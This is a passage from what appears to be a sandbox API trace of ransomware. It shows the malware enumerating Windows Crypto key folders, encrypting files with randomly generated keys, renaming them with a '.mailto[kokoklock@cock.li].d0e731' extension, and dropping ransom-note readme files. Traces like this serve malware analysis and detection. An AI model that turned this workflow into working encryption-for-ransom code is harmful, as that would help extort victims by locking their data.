Users\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", dwFileAttributes=0x24) returned 0 [0074.594] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2450 [0074.594] wcscpy (in: _Dest=0x33e2450, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0074.594] wcscat (in: _Dest=0x33e2450, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt" [0074.594] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d0e731-readme.txt")) returned 0xffffffff [0074.595] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0074.595] WriteFile (in: hFile=0x924, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x191bf884, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x191bf884*=0x481, lpOverlapped=0x0) returned 1 [0074.596] CloseHandle (hObject=0x924) returned 1 [0074.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2450) returned 1 [0074.596] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5030) returned 1 [0074.596] RtlExitUserThread (Status=0x1) Thread: id = 649 os_tid = 0xd84 [0074.597] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24 [0074.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", dwFileAttributes=0x20) returned 1 [0074.598] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0074.598] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x1923f75c | out: lpFileSize=0x1923f75c*=1565) returned 1 [0074.598] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x619, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.598] ReadFile (in: hFile=0x924, lpBuffer=0x1923f730, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x1923f730*, lpNumberOfBytesRead=0x1923f72c*=0x4, lpOverlapped=0x0) returned 1 [0074.599] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479228 [0074.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479070 [0074.599] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478dc8 [0074.599] NtQuerySystemTime (in: CurrentTime=0x1923f708 | out: CurrentTime=0x1923f708*=132121176324877904) returned 0x0 [0074.599] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xe180a5d8 [0074.599] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xee66a5ce [0074.599] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x98a8f521 [0074.599] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x68a21412 [0074.599] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xb806f64b [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x502c11c4 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xa7542568 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xb9866729 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x3c04601a [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x5b348ede [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xdb55183c [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xe6b7dc8f [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xd20e83dd [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x42240ede [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x48e69100 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xa1c24948 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x27ad8ca2 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x25b2957d [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x31d8540c [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x28450d35 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x186327f8 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x5822f246 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x828ff5ec [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xf2b9d0e [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x7089f347 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x8b38e619 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x22d785e6 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x162b7dae [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x9b36a123 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x25ee995 [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0x5b6ae36b [0074.600] RtlRandom (in: Seed=0x1923f714 | out: Seed=0x1923f714) returned 0xd4c3e261 [0074.611] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x1923f708, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1923f708*=0x61d, lpOverlapped=0x0) returned 1 [0074.611] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1923f6d0 | out: lpNewFilePointer=0x0) returned 1 [0074.611] WriteFile (in: hFile=0x924, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x1923f704, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1923f704*=0x61d, lpOverlapped=0x0) returned 1 [0074.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d78 [0074.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0074.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x3478d78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1923f700, lpOverlapped=0x0 | out: lpBuffer=0x3478d78*, lpNumberOfBytesWritten=0x1923f700*=0x20, lpOverlapped=0x0) returned 1 [0074.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d78) returned 1 [0074.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0074.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0074.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0074.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd988) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x3478e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x3478e40*, lpNumberOfBytesWritten=0x1923f72c*=0x8, lpOverlapped=0x0) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x1923f744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x1923f744*, lpNumberOfBytesWritten=0x1923f72c*=0x4, lpOverlapped=0x0) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1923f72c*=0x4, lpOverlapped=0x0) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1923f72c*=0x6c, lpOverlapped=0x0) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x3479070*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x3479070*, lpNumberOfBytesWritten=0x1923f72c*=0x20, lpOverlapped=0x0) returned 1 [0074.612] WriteFile (in: hFile=0x924, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1923f72c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1923f72c*=0x4, lpOverlapped=0x0) returned 1 [0074.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479070) returned 1 [0074.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479250) returned 1 [0074.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e40) returned 1 [0074.613] CloseHandle (hObject=0x924) returned 1 [0074.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12c) returned 0x341de08 [0074.613] wcscpy (in: _Dest=0x341de08, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" [0074.613] wcscat (in: _Dest=0x341de08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" [0074.613] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.614] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x24) returned 1 [0074.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341de08) returned 1 [0074.614] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", dwFileAttributes=0x24) returned 0 [0074.614] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2450 [0074.614] wcscpy (in: _Dest=0x33e2450, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0074.614] wcscat (in: _Dest=0x33e2450, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt" [0074.614] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\systemkeys\\d0e731-readme.txt")) returned 0x20 [0074.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2450) returned 1 [0074.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5128) returned 1 [0074.614] RtlExitUserThread (Status=0x1) Thread: id = 650 os_tid = 0xc04 [0074.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479cb8 [0074.616] wcscpy (in: _Dest=0x3479cb8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0074.616] wcscat (in: _Dest=0x3479cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0074.616] wcscat (in: _Dest=0x3479cb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*" [0074.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee038 [0074.616] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433828 [0074.617] wcscmp (_String1=".", _String2=".") returned 0 [0074.617] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.617] wcscmp (_String1="..", _String2=".") returned 1 [0074.617] wcscmp (_String1="..", _String2="..") returned 0 [0074.617] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1 [0074.617] wcscmp (_String1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2=".") returned 1 [0074.617] wcscmp (_String1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", _String2="..") returned 1 [0074.617] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x341de08 [0074.617] wcscpy (in: _Dest=0x341de08, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" [0074.617] wcscat (in: _Dest=0x341de08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\" [0074.617] wcscat (in: _Dest=0x341de08, _Source="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" [0076.626] Sleep (dwMilliseconds=0x1) [0077.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341de08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0077.813] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x33ee038 | out: lpFindFileData=0x33ee038*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0 [0077.813] FindClose (in: hFindFile=0x3433828 | out: hFindFile=0x3433828) returned 1 [0077.813] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee038) returned 1 [0077.814] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0077.814] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da10) returned 1 [0077.814] RtlExitUserThread (Status=0x0) Thread: id = 651 os_tid = 0x7a8 [0074.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e650 [0074.618] wcscpy (in: _Dest=0x347e650, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0074.618] wcscat (in: _Dest=0x347e650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0074.618] wcscat (in: _Dest=0x347e650, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*" [0074.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee2a0 [0074.618] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433868 [0074.619] wcscmp (_String1=".", _String2=".") returned 0 [0074.619] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.619] wcscmp (_String1="..", _String2=".") returned 1 [0074.619] wcscmp (_String1="..", _String2="..") returned 0 [0074.619] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1 [0074.619] wcscmp (_String1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", _String2=".") returned 1 [0074.619] wcscmp (_String1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", _String2="..") returned 1 [0074.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xee) returned 0x33e58e8 [0074.619] wcscpy (in: _Dest=0x33e58e8, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" [0074.619] wcscat (in: _Dest=0x33e58e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\" [0074.619] wcscat (in: _Dest=0x33e58e8, _Source="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" [0076.626] Sleep (dwMilliseconds=0x1) [0077.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e58e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0077.812] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x33ee2a0 | out: lpFindFileData=0x33ee2a0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 0 [0077.812] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0077.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ee2a0) returned 1 [0077.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e650) returned 1 [0077.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e260) returned 1 [0077.812] RtlExitUserThread (Status=0x0) Thread: id = 652 os_tid = 0xf74 [0074.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0074.619] wcscpy (in: _Dest=0x3479d30, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" [0074.619] wcscat (in: _Dest=0x3479d30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\" [0074.619] wcscat (in: _Dest=0x3479d30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*" [0074.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ee508 [0074.620] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x33ee508 | out: lpFindFileData=0x33ee508*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, 